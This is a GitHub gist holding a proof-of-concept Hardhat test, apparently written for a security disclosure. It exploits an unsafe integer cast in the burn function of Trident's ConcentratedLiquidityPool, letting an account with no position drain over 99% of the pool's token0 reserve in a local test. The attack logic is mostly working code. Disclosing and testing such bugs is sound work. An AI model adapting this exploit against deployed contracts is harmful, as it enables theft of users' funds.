Skip to content

Instantly share code, notes, and snippets.

@MrToph
Created October 5, 2021 18:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save MrToph/1731dd6947073343cf6f942985d556a6 to your computer and use it in GitHub Desktop.
Save MrToph/1731dd6947073343cf6f942985d556a6 to your computer and use it in GitHub Desktop.
POC of ConcentratedLiquidityPool.burn bug. Just replace the existing ConcentratedLiquidityPoolTest.ts file contents with this one and then run `yarn; yarn build; yarn test -- test/ConcentratedLiquidityPoolTestAttack.ts`
import { expect } from "chai";
import { ethers, network } from "hardhat";
import {
addLiquidityViaRouter,
_addLiquidityViaRouter,
removeLiquidityViaManager,
collectFees,
collectProtocolFee,
getDx,
getDy,
getTickAtCurrentPrice,
LinkedListHelper,
swapViaRouter,
} from "./harness/Concentrated";
import { getBigNumber } from "./harness/helpers";
import { Trident } from "./harness/Trident";
import { BigNumber } from "@ethersproject/bignumber";
describe.only("Concentrated Liquidity Product Pool", function () {
let snapshotId: string;
let trident: Trident;
let defaultAddress: string;
const helper = new LinkedListHelper(-887272);
const step = 10800;
before(async () => {
trident = await Trident.Instance.init();
defaultAddress = trident.accounts[0].address;
snapshotId = await ethers.provider.send("evm_snapshot", []);
});
afterEach(async () => {
await network.provider.send("evm_revert", [snapshotId]);
snapshotId = await ethers.provider.send("evm_snapshot", []);
});
describe("Valid actions", async () => {
// 👆 copy of ConcentratedLiquidityPoolTest.ts; attack starts here
it("Should attack pool by calling burn exploiting wrong typecast", async () => {
const pool = trident.concentratedPools[0];
helper.reset();
const tickSpacing = (await pool.getImmutables())._tickSpacing;
const tickAtPrice = await getTickAtCurrentPrice(pool);
const nearestValidTick = tickAtPrice - (tickAtPrice % tickSpacing);
const nearestEvenValidTick = (nearestValidTick / tickSpacing) % 2 == 0 ? nearestValidTick : nearestValidTick + tickSpacing;
// assume increasing tick value by one step brings us to a valid tick
// satisfy "lower even" & "upper odd" conditions
let lower = nearestEvenValidTick - step;
let upper = nearestEvenValidTick + step + tickSpacing;
let addLiquidityParams = {
pool: pool,
amount0Desired: getBigNumber(1000),
amount1Desired: getBigNumber(1000),
native: false,
lowerOld: helper.insert(lower),
lower,
upperOld: helper.insert(upper),
upper,
positionOwner: trident.concentratedPoolManager.address,
recipient: defaultAddress,
};
await addLiquidityViaRouter(addLiquidityParams);
/**
* ATTACK BEGINS HERE
*/
// we choose burnAmount such that the unsafe cast leads to the burn actually _providing_ of 1 wei
// 2**128 - 1 => 0xFFFF... = -1 as int128. fails when trying to send out too much
const burnAmount = BigNumber.from(`2`).pow(128).sub(`1`);
// const burnAmount = BigNumber.from(`2`).pow(128).sub(
// `1917580707794349315672650982405401` // MAX_TICK_LIQUIDITY - 1
// );
// to circumvent the pool trying to send out more than its reserve, we choose ticks smartly
// upper - lower = 1 is optimal, and the higher the lower tick the less we try to withdraw
// this is optimal for current reserves and withdraws almost all token0
// see DyDxMath.getDx to understand why the tick range influences the token0 amount to redeem
// chosen by hand to work for these reserve values
lower = 609332; // must be < MAX_TICK = 2 ** 23 - 1
upper = lower + 1;
// burn does not correctly update the reserves, only removes fees (different bug)
// thus we need to check the actual balances of the pool
const tokens = await pool.getAssets();
const token0BalanceInitial = await Trident.Instance.bento.balanceOf(tokens[0], pool.address);
expect(token0BalanceInitial).eq(`1000000000000000000000`);
const attacker = trident.accounts[4];
// attacker does not actually have to pay anything or own LP tokens because the unsafe cast acts like a mint regarding the LP position
await pool.connect(attacker).burn(
ethers.utils.defaultAbiCoder.encode(
// address recipient, bool unwrapBento, uint256 toBurn
["int24", "int24", "uint128", "address", "bool"],
[lower, upper, burnAmount, attacker.address, false]
)
);
const token0BalanceAfter = await Trident.Instance.bento.balanceOf(tokens[0], pool.address);
const token0PercentageStolen = token0BalanceInitial.sub(token0BalanceAfter).mul(100).div(token0BalanceInitial);
console.log(
`token0PercentageStolen`,
token0PercentageStolen.toString(),
`%`,
token0BalanceAfter.toString(),
token0BalanceInitial.toString()
);
// we stole >= 99% of token0 reserve
expect(token0PercentageStolen).gte(`99`);
});
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment